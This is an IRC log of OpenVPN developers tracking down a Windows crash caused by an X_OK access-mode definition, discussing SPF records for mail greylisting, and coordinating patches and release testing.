<@dazo> (curl for windows ... http://curl.haxx.se/download.html) 08:24 <@vpnHelper> Title: cURL - Download (at curl.haxx.se) 08:24 <@dazo> sure :) 08:24 <@mattock> ~30-40 mins 08:24 * dazo had forgotten already 08:24 <@dazo> take your time :) 08:27 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:27 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 08:28 <+krzee> http://gnuwin32.sourceforge.net/packages/wget.htm 08:28 <@vpnHelper> Title: Wget for Windows (at gnuwin32.sourceforge.net) 08:28 <+krzee> wget for windows too 08:29 <@dazo> :) 08:29 <@dazo> I'm just used to do: curl <url> | git apply ... on patches from paste bins :-P 08:50 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 08:53 <@dazo> Alon has started .... https://github.com/alonbl/openvpn/commits/build 08:53 <@vpnHelper> Title: Commit History for alonbl/openvpn - GitHub (at github.com) 08:54 <@dazo> and he attacks the m4 parts first :) 09:27 <@mattock> ok, back 09:28 <@mattock> I've used wget.exe, but that wasn't present on the build box 09:29 <@mattock> dazo: I'll see about the backtrace 09:31 <@mattock> actually, call stack says the call came from msvcr90.dll 09:31 <@dazo> yeah (because _waccess() is probably there) ... but I want to know what happened before openvpn_access() was called 09:32 <@mattock> hmm, I'll see if I can get it to run in the debugger from the start 09:32 <@mattock> or if I can backtrack somehow 09:34 <@dazo> in gdb ... it's just to write 'bt' and you have it ... but I don't know how the "draw-me-program" suite from Microsoft works in that regards :-P 09:38 <@mattock> dazo: http://blogs.msdn.com/b/habibh/archive/2009/10/21/the-future-of-debugging-is-here-visual-studio-2010-now-supports-stepping-back-in-the-debugger.aspx 09:38 <@vpnHelper> Title: The future of debugging is here! Visual Studio 2010 now supports stepping back in the debugger. - Habib Heydarians Blog @ Microsoft - Site Home - MSDN Blogs (at blogs.msdn.com) 09:38 <@mattock> we got 2008 09:38 <@mattock> but I think I can get a proper call stack out of it regardless 09:38 <@mattock> (I wonder how long "bt" has been in gdb) 09:38 <@mattock> probably since 2001 09:38 <@mattock> :P 09:39 <@dazo> I really hope that doesn't mean that a backtrace isn't available before 2010 .... I mean, if so it's just "hahaha WOW!" 09:39 <@dazo> mattock: I have never ever thought that debuggers never had that feature ... I mean, I even did that with Turbo Pascal in the early 90s 09:40 <@mattock> it's not available until Visual Studio 2010 09:40 <@mattock> it's the future of debugging 09:40 <@dazo> I struggle to really believe it ... 09:40 <@dazo> I mean, really! 09:41 <@mattock> amazing, eh :D 09:41 <@mattock> I'll try to figure out how to execute it step by step from the beginning 09:42 <+krzee> its the future of debugging!!! 09:42 <+krzee> only years behind! 09:42 <@dazo> talking about "back to the future!" 09:42 <+krzee> =] 09:43 <@dazo> mattock: this might help you ... http://drdobbs.com/architecture-and-design/185300443 09:43 <@vpnHelper> Title: Postmortem Debugging | Dr Dobb's (at drdobbs.com) 09:44 <@dazo> using core dumps (memory dumps) of the crash 09:48 <@mattock> ok, I'll look into that 09:48 <@mattock> "Debugging applications locally is one of the most difficult tasks of software engineering." 09:49 <@mattock> and you guys put a guy with zero C-fu to do the job :P 09:49 <@dazo> esp. when the tools you need is crappy :-P 09:49 <@mattock> I appreciate your trust in me :D 09:49 <@dazo> hehehehe 09:53 <@d12fk> whats the deal with openvpn_acces 09:56 <@mattock> I'll try to attach the debugger to the executable right away 09:56 <@mattock> that should be doable and give a full call stack 10:00 <@mattock> "Of course adding a Thread.Sleep(1000) in my startup events to give me some time to attach the process in Visual Studio is out of question!" 10:00 <@mattock> not for me, how do I do it? :P 10:01 <@mattock> sleep(20) ? 10:03 <@mattock> it seems visual studio crashed or something 10:04 -!- dazo is now known as dazo_afk 10:05 -!- dazo_afk is now known as dazo 10:06 <@dazo> d12fk: _access() and _waccess() crashes if the filename is "stdin" .... 10:07 <@d12fk> only then? 10:07 <@dazo> I think it is if the file does not exist 10:07 <@mattock> hmm, it seem Visual Studio is fairly wasted 10:07 <@mattock> probably hogging all the memory or something, rdesktop is almost entirely unresponsive 10:08 <@dazo> ouch 10:09 <@mattock> ah, finally 10:09 <@mattock> it just locked, was not hogging memory 10:09 <@mattock> killed it 10:09 <@mattock> dazo: where should I add a sleep statement so that I have time to attach the debugger to openvpn.exe? 10:09 <@mattock> I have no pride in this matter, any kludge will do 10:10 <@dazo> mattock: probably in the very beginning of main() (openvpn.c) ... before it starts doing anything else 10:10 <@dazo> (after variable declarations but before any operations, that is) 10:10 <@mattock> ok 10:10 <@dazo> I'd expect it to be enough to do: sleep(20) 10:27 <@mattock> mkay, now the binary got some Sleep in it 10:27 <@mattock> and it's Sleep(milliseconds) 10:27 <@mattock> slightly different as it's windows, naturally 10:27 <@cron2> it shouldn't be, sleep() is C standard 10:28 <@dazo> uhh!? 10:28 <@dazo> yeah, exactly 10:28 <@dazo> SYNOPSIS 10:28 <@dazo> #include <unistd.h> 10:28 <@dazo> unsigned int sleep(unsigned int seconds); 10:28 <@dazo> ahh! unistd.h defines it like this 10:30 <@d12fk> why dont you use good ol fprintf() 10:31 <@dazo> hm!??! 10:31 <@mattock> okay, now it's sleeping in the debugger 10:32 <@mattock> hmm, the stack trace is still as useless 10:32 <@mattock> msvcrt90.dll is the previous entry 10:32 <@mattock> I'm starting to lean on something that prints something too 10:33 <@mattock> dazo: can you add some prints to appropriate places? :P 10:33 <@mattock> my rdesktop connection freezes every 1-5 minutes, so this is more fun than usual 10:39 <@mattock> I hope we get Alon's fixes integrated soon 10:39 <@mattock> not sure if 2.3 is realistic as a target for those 10:39 <@mattock> or maybe 2.4 10:40 <@dazo> ouch ... printf()s ... http://www.fpaste.org/uwcF/ 10:40 <@dazo> mattock: I'd like to see them in 2.3 ... but in a much later alpha release 10:40 <@mattock> dazo: thanks! 10:43 <@mattock> rebuilding... 10:45 <@mattock> ok, it gives tons of "check_file_access: (null)" (16 in total) 10:45 <@dazo> those '(null)'s are fine ... as they are have a release before 10:45 <@dazo> hmmm .... I can make it slightly more advanced patch 10:45 <@dazo> but what's the last one before the crash? 10:46 <@dazo> duh!!!! 10:46 <@dazo> super silly me 10:47 <@mattock> all nulls 10:48 <@dazo> yeah ... because the printf() doesn't get the file argument :-P 10:48 <@dazo> http://www.fpaste.org/HgSM/ 10:48 <@dazo> a slightly more advanced version ... which also gives the line of the caller 10:48 * dazo does a control compile now 10:50 <@dazo> okay, that works on my box 10:52 * dazo hopes MSVS understands __LINE__ .... 10:53 <@mattock> dazo: I'll try that 10:55 <@mattock> unbelievable, it did know about it :P 10:56 <@dazo> pheeww! I actually first read "it didn't" 10:56 <@dazo> you should now have lines like this: 10:56 <@dazo> check_file_access: [2715] (null) 10:56 <@dazo> check_file_access: [2717] /tmp 10:56 <@dazo> check_file_access: [2721] (null) 10:56 <@dazo> where the [] tell which line number check_file_access() is called from 10:59 <@mattock> http://fpaste.org/VmeF 10:59 <@mattock> hmm, --tmp-dir issue maybe 10:59 <@dazo> hmm whoot!? it crahses on that one!??! 11:00 <@mattock> I wonder if I changed the temp directory at some point 11:00 <@mattock> temp2 11:00 <@dazo> the only thing which has changed is _access() -> _waccess() 11:01 <@mattock> nope 11:01 <@dazo> can you try to change _waccess to _access in misc.c? 11:01 <@dazo> (line 632) 11:05 <@dazo> oh dear, no that won't compile 11:05 <@dazo> int ret = _waccess (wide_string (path, &gc), mode); 11:05 <@dazo> that needs to be: 11:05 <@dazo> int ret = _access(path, mode); 11:06 <@mattock> let's see 11:08 <@mattock> building... 11:08 <@mattock> built ok 11:08 -!- raidz_afk is now known as raidz 11:09 <@mattock> hmm, still fails at the same point, I'll run the debugger just to be sure 11:09 <@mattock> yep, still fails in the int ret = _access ... line 11:11 <@dazo> wtf!?! ... why why why!?! ... 11:11 <@dazo> mattock: can you check the permissions on that dir? 11:16 <@mattock> I sure can :) 11:19 <@d12fk> has this ever been tested on windows before and was running? 11:21 <@mattock> damn windows is hiding the dir 11:21 <@dazo> mattock: can you also try a different --tmp-dir ? 11:21 <@dazo> d12fk: this is already in v2.2, iirc 11:22 <@mattock> I'll try different --tmp-dir 11:22 <@dazo> no, it probably was not .... this is a newer feature 11:24 <@d12fk> and if you wprintf() the path that gets fed into _waccess() it'll show correctly? 11:24 <@d12fk> maybe it not a proper wide string 11:24 <@dazo> (commit 0f2bc0dd92f43c91e33bba8a66b06b98f281efc1 introduces this feature ... Jun 16) 11:24 <@dazo> that could be 11:25 <@mattock> it insists on checking the Temp2 directory 11:25 <@mattock> I'll review my environment variables again... 11:25 <@mattock> sound like a non-standard directory 11:25 <@dazo> that is odd .. 11:26 <@d12fk> what do you currently print out 11:27 <@mattock> no trace of Temp2 anywhere 11:27 <@d12fk> and is it just with the tmp check or any other and tmp is the first one being checked? 11:28 <@d12fk> this must have to do with the unicode path patch else it doesnt make sese 11:29 <@d12fk> how do you test samuli 11:30 <@d12fk> on the redesktop machine 11:37 <@mattock> d12fk: are you on the build comp atm? 11:38 <@d12fk> nope 11:38 <@d12fk> and i'll be gone for the weekend soon 11:38 <@mattock> the c:\users\samuli\appdata\local\temp2 is the first temp dir being tested 11:38 <@d12fk> i'll find time to look at this if you give me the config youre testing with 11:39 <@mattock> ah, I'll copy the config file to your home dir 11:39 <@mattock> ok? 11:39 <@d12fk> ok 11:39 <@mattock> and all the certs and stuff 11:39 <@mattock> do you need them right now, or later? 11:39 <@d12fk> and that dir is not there and openvpn break because of that? 11:39 <@mattock> it was there, but I tried removing it 11:39 <@mattock> I'll try recreating it 11:39 <@d12fk> nevermind 11:40 <@d12fk> if i have the config which fails i'll do some tests on my own when i find time 11:41 <@mattock> it's not a permission problem 11:41 <@mattock> everything is allowed for administrators, samuli and system 11:41 <@d12fk> i assume libc doesnt crash if access is used correctly 11:41 <@cron2> permission problems MUST NOT lead to crashes, so that must be something else 11:41 <@d12fk> so it's hopefully just a c string problem 11:42 <@cron2> the whole point of access() is to verify existence & permissions... 11:42 <@mattock> anyways, I'll eat dinner and then give you admin access 11:42 <@d12fk> i current bet is on access violation 11:43 <@mattock> then you can run openvpn.exe against openvpn.ovpn in c:\Program files (x86)\openvpn\config 11:43 <@d12fk> will you upgrade my accout? 11:43 <@d12fk> is there a passphrase on the key? 11:43 <@mattock> there's no key, it's using LDAP auth 11:43 <@mattock> openvpn.pass in the config directory 11:44 <@d12fk> no x509? 11:45 <@mattock> nope, only ca.crt and ta.key 11:46 <@mattock> actually, you should be able to just go to /c/Program Files (x86)/OpenVPN/config 11:46 <@mattock> and then run something like this: 11:46 <@mattock> /c/users/d12fk/openvpn-build/openvpn/dist/bin/openvpn.exe openvpn.ovpn 11:46 <@mattock> from git bash 11:46 <@d12fk> ok 11:46 <@mattock> seemed to work ok without admin access 11:47 <@d12fk> i'll try later this weekend 11:47 <@d12fk> i'll post my findings in here 11:47 <@d12fk> if there are some =) 11:47 <@dazo> d12fk: thx! 13:21 <@mattock> just for reference... this was the original error message that OpenVPN GUI printed to the log: "options error: --management user/password file fails with 'stdin': No such file or directory" 13:21 <@mattock> that was before any of the patches, though 13:28 <@dazo> that means actually that we're tracking issue #2 13:28 <@dazo> now 13:29 <@mattock> not sure if that's what is printed with the patches include 13:29 <@mattock> I can verify that soon 14:05 -!- jamxnl [jamx@2a01:4f8:140:5243::1234] has joined #openvpn-devel 14:05 < jamxnl> evening 14:06 < jamxnl> in mroute.c line 519 and 533 there is a compare for >= 0 14:06 < jamxnl> but the variables on which this compare is done are unsigned 14:08 < jamxnl> wonder if should supply a patch to remove those unneeded statements, or that you want to wait for a more structural change to this part of the source 14:09 < jamxnl> since there are some comments about the code not really being elegant already ;] 14:15 <@mattock> if the statements are unneeded, we don't need them so provide a patch :P 14:21 <@mattock> dazo: interesting, now openvpn-gui complains about not finding the log file viewer (=notepad) 14:21 <@mattock> not sure how that's related 14:22 <@mattock> anyways, the log gives the --management error between check_file_access {2701] and [2706] 15:27 -!- Intensity [5OGDduUVyc@unaffiliated/intensity] has quit [Quit: Quit] 15:53 <@cron2> jamxnl: I know where this is coming from, but I'm not exactly sure I understand all implications 15:54 <@cron2> the ipv6 code is a copy of the ipv4 code, but the "struct iroute_ipv6" isn't - using unsigned int vs. int, making this condition always-true 15:54 <@cron2> one would need to check whether netbits in the ipv4 case can ever be negative, and if not, get rid of the "signed int" and the if() parts there as well 15:58 <@cron2> off to bed now 17:01 -!- dazo is now known as dazo_afk 18:59 -!- raidz is now known as raidz_afk 20:03 -!- Netsplit *.net <-> *.split quits: jamxnl --- Day changed Sat Feb 18 2012 00:31 -!- jamxnl [jamx@2a01:4f8:140:5243::1234] has joined #openvpn-devel 08:17 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 08:21 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 08:21 -!- mode/#openvpn-devel [+o andj] by ChanServ 08:46 <@d12fk> MAT 08:46 <@d12fk> oops 08:47 <@d12fk> mattock: i cant reach the window build host from home, is there a packetfilter involved? 08:47 <@mattock> d12fk: do you have access to the community vpn? 08:48 <@mattock> the firewall is blocking access except from specific IPs / IP ranges (or from the VPN) 08:48 <@mattock> actually, OpenVPN is down on the build comp now, I'll activate it 08:50 <@d12fk> can you send me a config file? 08:50 <@mattock> yep, just a sec 08:51 <@mattock> ok, VPN is up, sending configs 08:58 <@mattock> mail sent, I'll check if you're in the VPN group 09:01 <@mattock> nope, adding 09:03 <@mattock> ok, done 09:03 <@mattock> the build comp lives at 10.7.36.161 09:04 <@mattock> the vpn uses your community account credentials 09:05 <@d12fk> havent recvd the mail yet. did you notice the address i sent you? 09:10 <@mattock> hmm, no 09:12 <@mattock> sent 09:12 <@d12fk> ok got it thanks 09:19 <@mattock> let me know if you have issues accessing the vpn 09:19 <@mattock> or the build comp 09:21 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 09:21 -!- mode/#openvpn-devel [+o andj__] by ChanServ 09:24 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Read error: Operation timed out] 09:24 -!- andj__ is now known as andj 09:25 <@d12fk> i think the community account is not equal to the windows account, is it? 09:26 <@mattock> nope 09:26 <@d12fk> ok, where do i get one then? 09:42 <@d12fk> oh the username is already in use, i guess ive created one already then =) 09:45 <@mattock> yep 09:46 <@mattock> you can reset your password from https://community.openvpn.net/account in case you forgot it 09:46 <@vpnHelper> Title: Password Self Service (at community.openvpn.net) 09:46 <@mattock> provided you have access to the email address you used during registration 09:46 <@d12fk> tried that but it mails the code to my sophos mailbox whic i cant access atm =/ 09:49 <@mattock> ok, I'll reset the password for you 09:51 <@mattock> actually, I'll change your email address to your private one so that you can reset the password yourself 09:51 <@mattock> done 09:51 <@mattock> you can retry the email-based password reset now 09:57 <@d12fk> ok it worked thanks again mattock 09:57 <@mattock> np 11:26 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 11:26 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:26 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:37 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 11:51 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:51 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:02 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 12:05 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:05 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:14 <@d12fk> you know who i blame atm? the access mode! it's 7 for the temp dir, for all before its 4. keep you posted. 13:15 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 13:17 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 13:17 -!- mode/#openvpn-devel [+o andj] by ChanServ 13:20 <@d12fk> 7 is undefined as there's no 1 (aka X_OK) 13:21 <@d12fk> then an exception handler is invoked (the std one, as ovpn defines no own) and ovpn goes down in glory 13:21 <@cron2> what the hell is an exception handler doing in a *C* program? 13:22 <@cron2> things like access() have well defined failure mode on invalid input - "return -1, set errno=EINVAL and be done with it" 13:22 <@cron2> but ranting aside, if that's the problem, it can be masked ("#define X_OK 0") 13:24 <@d12fk> yeah, its wrong in win/config.h.in there its defined as 1, should be 0 13:24 <@d12fk> will post a patch 13:27 <@d12fk> with mode=6 it wont crash anymore, test succeeded 13:27 <@d12fk> but it'll fail with no access anyway... no idea what samulis temp2 dir is all about =) 13:28 <@d12fk> however that a problem on the system not in ovpn i suppose 13:34 <@d12fk> re exception handler, its not the one from c++ its rather a callback function you can define to handle situations 13:34 <@d12fk> http://msdn.microsoft.com/en-us/library/ksazx244%28v=vs.80%29.aspx 13:34 <@vpnHelper> Title: Parameter Validation (at msdn.microsoft.com) 13:34 <@d12fk> ms c runtime feature 13:44 <@d12fk> mkay patch is on its way 14:18 <@d12fk> i hate that every patch i send contains windows in the subject line. wonder what ppl think of me. =) 14:43 -!- Intensity [tXBVWSXuYm@unaffiliated/intensity] has joined #openvpn-devel 22:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Remote host closed the connection] --- Day changed Sun Feb 19 2012 03:00 -!- Intensity [tXBVWSXuYm@unaffiliated/intensity] has quit [Ping timeout: 276 seconds] 03:08 -!- Intensity [CPVwHErqeI@unaffiliated/intensity] has joined #openvpn-devel 05:26 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 05:37 -!- Intensity [CPVwHErqeI@unaffiliated/intensity] has quit [Ping timeout: 276 seconds] 05:53 -!- Intensity [qDjxirL6J8@unaffiliated/intensity] has joined #openvpn-devel 07:32 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] --- Day changed Mon Feb 20 2012 01:21 -!- dazo_afk is now known as dazo 01:39 <@dazo> d12fk: thx for the patch! I'll get that in soonish today 01:39 <@dazo> d12fk: what ppl think of you? Windows expert, of course! :-P 03:14 <@vpnHelper> RSS Update - wishlist: OpenVPN app for Nokia Belle <http://forums.openvpn.net/topic9875.html> 03:18 <@mattock> dazo: was the patch related to the windows runtime crash? 03:18 <@dazo> mattock: seems so, yes 03:18 <@mattock> or maybe I could also ask d12fk :D 03:18 <@mattock> ok, great 03:19 <@dazo> I will try with just that patch, and then see if we need the fix for --management too 03:24 <@cron2> dazo: I think we need that, as --management doesn't handle 'stdin' 03:24 <@dazo> Ahh, okay ... then I'll submit a patch for review too 03:24 * dazo acks d12fk patch now 03:33 <@d12fk> --management does handle stdin, thats why i use it in the gui to pass the password 03:36 <@cron2> d12fk: misunderstanding. --management stdin works, but fails with dazo's "does this file exist?" check, because the *check* for --management doesn't understand "stdin is special" 03:37 <@d12fk> ok then =) 03:39 <@dazo> patch is on the way ... but I think I know why the sf.net mailing list is slow .... when looking at my mail logs ... 03:39 <@dazo> status=deferred (host mx.sourceforge.net[216.34.181.68] said: 451-195.140.254.50 is not yet authorized to deliver mail from 451-<openvpn.list@topphemmelig.net> to <openvpn-devel@lists.sourceforge.net>. 451 Please try later. (in reply to RCPT TO command)) 03:39 <@dazo> it's in the queue for a few minutes, and on the resend - it goes 03:40 <@cron2> greylisting 03:40 <@cron2> which is, in general, suprisingly effective against spammers (the spambots do not retry), but otherwise a pain in the ass 03:40 <@dazo> yeah 03:41 <@cron2> dazo: what you can try: set up SPF records. At least some of the greylisting tools check SPF, and if those match, mail will permitted right away 03:41 <@cron2> (milter-greylist for sendmail, for example) 03:42 <@dazo> do you got any pointers for that? I've not done much mail stuff the last 5 years ... but decided to setup postfix to get up-to-speed again :) 03:42 <@cron2> SPF is just a TXT records in DNS, telling people which IP addresses are allowed to send mail with FROM: ...@topphemmelig.net addresses 03:42 <@cron2> mom 03:42 <@dazo> ahh 03:43 <@cron2> http://en.wikipedia.org/wiki/Sender_Policy_Framework 03:43 <@vpnHelper> Title: Sender Policy Framework - Wikipedia, the free encyclopedia (at en.wikipedia.org) 03:43 <@cron2> (who would have thought that :) ) 03:43 <@dazo> hehehe 03:43 * dazo reads 03:50 <@dazo> cron2: so in my case, this would be correct to append to the topphemmelig.net zone? IN TXT "v=spf1 ip4:195.140.254.50" 03:51 <@cron2> if that's the only IP address that ever sends mail with this from: address,y es 03:51 <@dazo> that's my "exit point" yes ... which relay all my mails 03:51 <@cron2> you could add "~all" to that to signal "everybody else is not prohibited, just frowned upon" 03:52 <@dazo> ahh, I'll add that as well then 03:52 <@cron2> greenie.net has "v=spf1 mx ptr ip4:193.149.48.160/27 ip4:195.30.0.0/23 ip6:2001:608:4::/48 -all" 03:52 <@dazo> cool, thx! 03:52 <@cron2> because my mail setup is a bit convoluted, and I sometimes relay through other hosts, but in the end, same thing 03:52 * dazo adds another potential exit IP range plus an IPv6 address as well 04:07 * dazo thought cron2 would like this new patch better :) 04:13 <@dazo> mattock, d12fk: git trees pushed with those two last patches .... *hopefully* this is all we needed :) 04:13 <@dazo> just one question ... which GUI version are we packaging now? 04:15 <@d12fk> the latest binary snapshot from the gui page 04:17 <@vpnHelper> RSS Update - testtrac: Revamp check_file_access() checks in stdin scenarios <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=a4de190b92f9464602222454dd753072eecc0407> || define access mode flag X_OK as 0 on Windows <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=4ebc587eab73e03ef64d344a5707d84e7f8d875a> 04:34 <@dazo> cool! 06:04 <@mattock> I'll test rebuilding tomorrow morning, got some other things to do atm 06:06 <@dazo> mattock: no problem! I'll wait for your go before I'll tag the tree 06:06 <@mattock> excellent! 06:06 <@mattock> I hope the installer passes the smoketests so that we can make the release a.s.a.p. 06:08 <@dazo> :) 06:08 <@dazo> yupp! :) 06:08 <@dazo> we're darn close now, though 06:14 <@cron2> yeah! 07:55 <@d12fk> unless we have it alons way and redo the access check again 07:56 * d12fk sighs 08:01 <@dazo> d12fk we won't change the access() stuff now ... that's to be fixed later on 08:25 <@d12fk> thing is: it need not to be changed, just alonism 08:30 * cron2 wonders why _access() doesn't fail on mingw, if X_OK is defined there and is "1" 08:30 <@dazo> which is where I took that X_OK declaration from 08:30 <@cron2> or does mingw have proper unixy access()? 08:33 <@dazo> now alon is will patch it ... that's going to be interesting 08:34 <@dazo> anyhow, if he comes up with something and it makes more sense ... then that's for alpha2 08:36 <@cron2> well, that's another way to do open source - post stuff that people will find so annoying that they go out and fix it :-) 08:37 <@dazo> hehehe 08:38 <@dazo> I've already tried that on man page stuff ... but seems to have failed so far :-P 08:38 <@cron2> nobody feels proud for man pages, but people do for code :) 08:38 <@dazo> unfortunately ;-) 09:32 <@cron2> mmmh 09:32 <@cron2> Alon's patch might be "more philosophically correct" but is ugly and stinks 09:37 <@dazo> it's definitely more correct on the intellectual level ... I'm not against it, but is it really needed to be so pedantic correct? 09:37 <@cron2> it's making all of the calls more complicated ("what is that define here?")... 09:38 <@cron2> if we go there, we should do that in our #define access() _access() macro, just like mingw does it 09:39 <@dazo> yeah, agreed 09:43 <@cron2> I don't have time to enter this discussion right now, though 10:06 <@dazo> okay .. NACK sent ... 10:06 * dazo waits for the world to explode 10:18 <@d12fk> mingw does it only for access, but there's _access and _waccess as well. like I said they are just covering up the mistakes of their past 10:32 <@dazo> cron2: seems like the SPF thingy did wonders ... now sf.net's mailserver took my mail instantly 10:33 <@dazo> so thx for the tip :) 11:12 -!- raidz_afk is now known as raidz 11:48 <@cron2> d12fk: well, even with _waccess, the "mode & ~X_OK" thing will work 11:49 <@d12fk> yeah, but'd have three macros then 11:49 <@cron2> waccess is only used on windows, so you can mask it out directly in the function call 11:50 <@cron2> (I'm not opposing #define X_OK 0 either - I'm just disliking PLATFORM_X_OK) 14:00 <@d12fk> 1627 14:02 <@d12fk> whoopsy, focus gone wrong 16:12 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:12 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:53 -!- dazo is now known as dazo_afk 19:01 <@raidz> website down for quick maitinence 19:13 <@raidz> openvpn.net back online 19:13 <@raidz> Make sure to take a look guys, we added a new splash page 19:26 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 19:49 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:54 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 19:59 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:23 -!- raidz is now known as raidz_afk 23:11 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] --- Day changed Tue Feb 21 2012 00:02 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:02 -!- mode/#openvpn-devel [+v krzee] by ChanServ 00:46 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 01:05 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:05 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:43 <@mattock> hmm, wasn't 2.2.2 the latest stable release... we only got 01:43 <@mattock> 2.2.1 on the web page 01:43 <@mattock> we sure need to get 2.3-alpha1 out today, and 2.2.2 along 01:43 <@mattock> with it 01:43 <@mattock> :P 01:44 <@mattock> I'll start building the installer now 01:54 <@mattock> haha, it works on win7 64-bit 01:55 <@mattock> d12fk: maybe you should add your own copyright notice to the 01:55 <@mattock> "about" tab in "settings" in OpenVPN GUI? 01:57 <@andj> wow, drama 02:02 <@mattock> andj: that is correct 02:02 <@mattock> smoketests passed on winxp 32-bit and win7 64-bit 02:02 <@cron2> mattock: woohoo! 02:03 <@andj> cool 02:03 <@mattock> "If it builds and runs, ship it" 02:03 <@cron2> (which X_OK variant is it?) 02:03 * andj hides 02:03 <@mattock> our QA is _way_ advanced compared to others' 02:03 <@mattock> :D 02:03 <@cron2> mattock: I think we *are* doing quite well in that regard, just not on windows yet :-) 02:03 <@mattock> yeah, agreed 02:03 <@cron2> need to run -> office... bbl 02:03 <@andj> I've reserved some time for OpenVPN on Friday at work 02:03 <@mattock> we're gonna get tons of errors to buildbot logs when the windows buildslave is up 02:04 <@mattock> I'll check if james is still/already up 02:04 <@mattock> for signing stuff 02:04 <@andj> to review JJK and Alon's patches and produce a nice PolarSSL patch (if that still fits) 02:09 -!- swg0101 [~swg0101@openvpn/user/swg0101] has joined #openvpn-devel 02:29 <@cron2> andj: is there polarSSL stuff still missing? 03:10 -!- dazo_afk is now known as dazo 03:12 <@d12fk> cron2: i'll send a patch implementing your suggestion of masking X_OK out directly in _waccess 03:13 <@cron2> d12fk: thanks. I'm not sure why Alon is disliking it, but he seemed willing to accept it... 03:13 <@cron2> d12fk: I am convinced that it's the best place to do the workaround, especially if a comment similar to the one in mingw is added "this is because windows ..." 03:13 <@d12fk> i think we might need it because mingw only handles access, but _waccess should fail with a mingw build as much as with msvc 03:14 <@mattock> would switching to GitHub get me off the "Install Gerrit after 2.3 release" loop? :P 03:14 <@d12fk> but hen we would spread the project across the internet 03:15 <@d12fk> mailing lists on sourceforge, repo at github, community site at openvpn.org 03:15 <@d12fk> and you can even like us on facebook 03:15 <@cron2> we need a google+ page! 03:16 <@d12fk> github is superior to sf.net, but i think we should have as much infrastucture as possible on the community site 03:16 <@d12fk> who knows when github starts to suck 03:21 <@d12fk> btw i posted another patch review platform a while ago. mattock, dazo do you remember the link? 03:23 <@dazo> d12fk: I try to remember ... I'll check my archives 03:23 <@mattock> alon, alon... 03:24 <@dazo> heh 03:25 <@dazo> d12fk: http://thread.gmane.org/gmane.network.openvpn.devel/4937 or http://thread.gmane.org/gmane.network.openvpn.devel/4941 ?? 03:25 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 03:26 <@dazo> http://thread.gmane.org/gmane.network.openvpn.devel/4927/focus=4928 ? 03:26 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 03:27 <@d12fk> misunderstand: "patch review platform" as in gerrit alternative =) 03:27 <@dazo> aaaahhhh! 03:27 <@dazo> duh! 03:27 * dazo is to patchy too day :-P 03:27 <@d12fk> i think we merge those two during fosdem havent we? 03:28 <@dazo> the last one was part of --auto-proxy ... which we're kicking out 03:29 <@dazo> those other ones, seems to also be stale patches ... I don't recall now, and I see I have them flagged in my mailbox - which I usually remove when applying patches 03:29 <@d12fk> ah prolly the discussion stopped because of interruptions or such 03:29 <@dazo> yeah 03:29 <@d12fk> the sencond one removes a warning when comiling 64bit mingw 03:30 <@d12fk> first one remove mingw workarounds that are not needed anymore (and are a potential security risk) 03:31 <@d12fk> i thin they got acked by james during a meeting 03:31 <@dazo> I need to find those irc logs ... and I'll pull them in :) 03:31 <@d12fk> are you looking at the logs or should i? 03:31 <@d12fk> with the agenda it should be easyer for me to find the right one 03:32 <@d12fk> just need a pointer to where they are located =) 03:32 <@dazo> if you have time to look for them, I'd be very much thankful ... today I have quite a load ... and with quite some patches from alon, it'll be a long day too :) 03:32 <@dazo> d12fk: https://community.openvpn.net/openvpn/wiki/IrcMeetings 03:32 <@vpnHelper> Title: IrcMeetings – OpenVPN Community (at community.openvpn.net) 03:32 <@d12fk> lookin 03:33 <@dazo> d12fk: thx! I probably owe you a meal in beers ;-) 03:33 <@d12fk> 7 beers equal one schitzel in germany 03:34 <@dazo> that's what I thought of :) 03:34 * cron2 is all for beer and schnitzel 03:34 <@cron2> but today there's only Krapfen 03:35 <@dazo> ouch ... 03:45 <@d12fk> dazo: http://article.gmane.org/gmane.network.openvpn.devel/4979 03:45 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at 